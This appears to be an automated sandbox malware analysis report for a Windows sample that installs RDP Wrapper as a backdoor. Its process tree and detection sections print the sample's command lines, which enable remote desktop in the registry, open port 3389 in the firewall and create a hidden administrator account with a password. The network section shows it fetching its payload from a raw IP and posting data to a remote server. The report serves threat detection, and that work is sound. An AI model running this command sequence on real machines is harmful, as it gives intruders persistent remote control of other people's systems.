Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1524989
MD5:	ea2954e7fc00520a5300e72edea11b0f
SHA1:	cb9c5443999a5f62e83bb03756f8e1a8bcbefdb1
SHA256:	ae939c4c31af5fc5e66e5f991239949a572f3af905118ae2f94fdf6dd080bc01
Tags:	exeuser-Bitsight
Infos:

Detection

RDPWrap Tool

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for dropped file

AI detected suspicious sample

Adds a new user with administrator rights

Allows multiple concurrent remote connection

Enables remote desktop connection

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the windows firewall

PE file contains section with special chars

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Sigma detected: RDP Sensitive Settings Changed

Sigma detected: Suspicious Add User to Remote Desktop Users Group

Uses cmd line tools excessively to alter registry or file data

Uses netsh to modify the Windows network and firewall settings

Yara detected Costura Assembly Loader

Yara detected RDPWrap Tool

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to call native functions

Contains functionality to enumerate running services

Contains functionality to query locales information (e.g. system language)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: New User Created Via Net.EXE

Spawns drivers

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Classification

Process Tree

System is w10x64

file.exe (PID: 6980 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EA2954E7FC00520A5300E72EDEA11B0F)

cmd.exe (PID: 1440 cmdline: "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 4160 cmdline: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 2296 cmdline: "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 6516 cmdline: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 5496 cmdline: "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6488 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RDPWInst.exe (PID: 7060 cmdline: C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i MD5: C213162C86BB943BCDF91B3DF381D2F6)

netsh.exe (PID: 5876 cmdline: netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 7632 cmdline: "cmd.exe" /c net user BoydKrajcik hDNQhfjKM9S0 /add MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 7672 cmdline: net user BoydKrajcik hDNQhfjKM9S0 /add MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 7688 cmdline: C:\Windows\system32\net1 user BoydKrajcik hDNQhfjKM9S0 /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

cmd.exe (PID: 7712 cmdline: "cmd.exe" /c net localgroup MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 7760 cmdline: net localgroup MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 7772 cmdline: C:\Windows\system32\net1 localgroup MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

cmd.exe (PID: 7792 cmdline: "cmd.exe" /c net localgroup "Remote Desktop Users" BoydKrajcik /add MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 7840 cmdline: net localgroup "Remote Desktop Users" BoydKrajcik /add MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 7856 cmdline: C:\Windows\system32\net1 localgroup "Remote Desktop Users" BoydKrajcik /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

cmd.exe (PID: 7872 cmdline: "cmd.exe" /c netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7920 cmdline: netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389 MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cmd.exe (PID: 7948 cmdline: "cmd.exe" /c net localgroup "Administrators" BoydKrajcik /add MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7956 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 7988 cmdline: net localgroup "Administrators" BoydKrajcik /add MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 8004 cmdline: C:\Windows\system32\net1 localgroup "Administrators" BoydKrajcik /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

rdpvideominiport.sys (PID: 4 cmdline: MD5: 77FF15B9237D62A5CBC6C80E5B20A492)

rdpdr.sys (PID: 4 cmdline: MD5: 64991B36F0BD38026F7589572C98E3D6)

tsusbhub.sys (PID: 4 cmdline: MD5: CC6D4A26254EB72C93AC848ECFCFB4AF)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000000A.00000002.2133281442.0000000000401000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000A.00000000.2104981738.0000000000401000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000000.00000002.2499189931.0000000000C62000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
00000000.00000002.2500984157.00000000032D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000000.2026603249.0000000000D4A000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
Process Memory Space: file.exe PID: 6980	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: RDPWInst.exe PID: 7060	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
0.0.file.exe.c60000.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
10.2.RDPWInst.exe.400000.0.unpack	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
10.2.RDPWInst.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
10.0.RDPWInst.exe.400000.0.unpack	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
10.0.RDPWInst.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Source: Network Connection

Author: Markus Neis: Data: DestinationIp: 8.46.123.33, DestinationIsIpv6: false, DestinationPort: 3389, EventID: 3, Image: C:\Users\user\Desktop\file.exe, Initiated: true, ProcessId: 6980, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49714

Sigma detected: RDP Sensitive Settings Changed

Source: Registry Key set

Author: Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali: Data: Details: %ProgramFiles%\RDP Wrapper\rdpwrap.dll, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, ProcessId: 7060, TargetObject: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll

Sigma detected: Suspicious Add User to Remote Desktop Users Group

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "cmd.exe" /c net localgroup "Remote Desktop Users" BoydKrajcik /add, CommandLine: "cmd.exe" /c net localgroup "Remote Desktop Users" BoydKrajcik /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6980, ParentProcessName: file.exe, ProcessCommandLine: "cmd.exe" /c net localgroup "Remote Desktop Users" BoydKrajcik /add, ProcessId: 7792, ProcessName: cmd.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: , CommandLine: , CommandLine|base64offset|contains: , Image: C:\Windows\System32\drivers\rdpvideominiport.sys, NewProcessName: C:\Windows\System32\drivers\rdpvideominiport.sys, OriginalFileName: C:\Windows\System32\drivers\rdpvideominiport.sys, ParentCommandLine: , ParentImage: , ParentProcessId: -1, ProcessCommandLine: , ProcessId: 4, ProcessName: rdpvideominiport.sys

Sigma detected: New User Created Via Net.EXE

Source: Process started

Author: Endgame, JHasenbusch (adapted to Sigma for oscd.community): Data: Command: net user BoydKrajcik hDNQhfjKM9S0 /add, CommandLine: net user BoydKrajcik hDNQhfjKM9S0 /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "cmd.exe" /c net user BoydKrajcik hDNQhfjKM9S0 /add, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7632, ParentProcessName: cmd.exe, ProcessCommandLine: net user BoydKrajcik hDNQhfjKM9S0 /add, ProcessId: 7672, ProcessName: net.exe

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net user BoydKrajcik hDNQhfjKM9S0 /add, CommandLine: net user BoydKrajcik hDNQhfjKM9S0 /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "cmd.exe" /c net user BoydKrajcik hDNQhfjKM9S0 /add, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7632, ParentProcessName: cmd.exe, ProcessCommandLine: net user BoydKrajcik hDNQhfjKM9S0 /add, ProcessId: 7672, ProcessName: net.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-03T15:07:46.813181+0200	2803305	3	Unknown Traffic	192.168.2.5	49713	104.26.12.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Multi AV Scanner detection for dropped file

Source: C:\Program Files\RDP Wrapper\rdpwrap.dll	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.dll	Jump to behavior

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49715 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed source: file.exe
Source:	Binary string: rdpclip.pdbH source: RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: costura.costura.pdb.compressed source: file.exe
Source:	Binary string: rdpclip.pdbJ source: RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: RfxVmt.pdb source: file.exe, 00000000.00000002.2500984157.00000000035EC000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rfxvmt.dll.10.dr
Source:	Binary string: /_/Source/Bogus/obj/Release/net40/Bogus.pdb source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: rdpclip.pdb source: RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: RfxVmt.pdbGCTL source: file.exe, 00000000.00000002.2500984157.00000000035EC000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr, rfxvmt.dll.10.dr
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: file.exe
Source:	Binary string: C:\DEV\C#\RDPCreator\RDPCreator\obj\Release\RDPCreator.pdb source: file.exe
Source:	Binary string: /_/Source/Bogus/obj/Release/net40/Bogus.pdbSHA256v0& source: file.exe, 00000000.00000002.2503746431.0000000005770000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_004092D8 FindFirstFileW,FindClose,	10_2_004092D8
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_0040F73C FindFirstFileW,FindClose,	10_2_0040F73C
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 10_2_00408EB9 lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	10_2_00408EB9

Networking

Yara detected RDPWrap Tool

Source: Yara match	File source: 10.2.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.0.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.2105035619.0000000000450000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2133507503.0000000000450000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RDPWInst.exe PID: 7060, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.5:49714 -> 8.46.123.33:3389

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Thu, 03 Oct 2024 13:07:05 GMTContent-Type: application/octet-streamContent-Length: 1785344Last-Modified: Thu, 26 Sep 2024 12:36:03 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f55533-1b3e00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 23 d6 43 5a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 34 04 00 00 06 17 00 00 00 00 00 3c 37 04 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 1b 00 00 04 00 00 17 f6 1b 00 03 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 f8 12 00 00 00 60 05 00 ed 7b 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 fc 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 04 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 c3 04 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 12 04 00 00 10 00 00 00 14 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 7c 1e 00 00 00 30 04 00 00 20 00 00 00 18 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 78 12 00 00 00 50 04 00 00 14 00 00 00 38 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 c0 4f 00 00 00 70 04 00 00 00 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 f8 12 00 00 00 c0 04 00 00 14 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 e0 04 00 00 00 00 00 00 60 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 04 00 00 02 00 00 00 60 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 5e 00 00 00 00 05 00 00 60 00 00 00 62 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 ed 7b 16 00 00 60 05 00 00 7c 16 00 00 c2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 70 17 00 00 00 00 00 00 cc 16 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /core/receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: hansgborn.euContent-Length: 186Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1Host: 147.45.44.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: AS-PUBMATICUS AS-PUBMATICUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49713 -> 104.26.12.205:80

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Code function: 10_2_0043CF60 InternetOpenW,InternetOpenUrlW,InternetCloseHandle,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

10_2_0043CF60

Source: global traffic	HTTP traffic detected: GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1Host: 147.45.44.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: hansgborn.eu

Source: unknown

HTTP traffic detected: POST /core/receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: hansgborn.euContent-Length: 186Expect: 100-continueConnection: Keep-Alive

Source: file.exe, 00000000.00000002.2500984157.00000000035DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104
Source: file.exe, 00000000.00000002.2500984157.00000000032D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
Source: file.exe	String found in binary or memory: http://api.ipify.org
Source: file.exe, 00000000.00000002.2500984157.000000000367A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2500984157.0000000003682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.org/
Source: file.exe, 00000000.00000002.2500984157.000000000367A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2500984157.0000000003682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.ipify.orgd
Source: file.exe, 00000000.00000002.2500984157.0000000003688000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hansgborn.eu
Source: file.exe, 00000000.00000002.2500984157.0000000003688000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hansgborn.eud
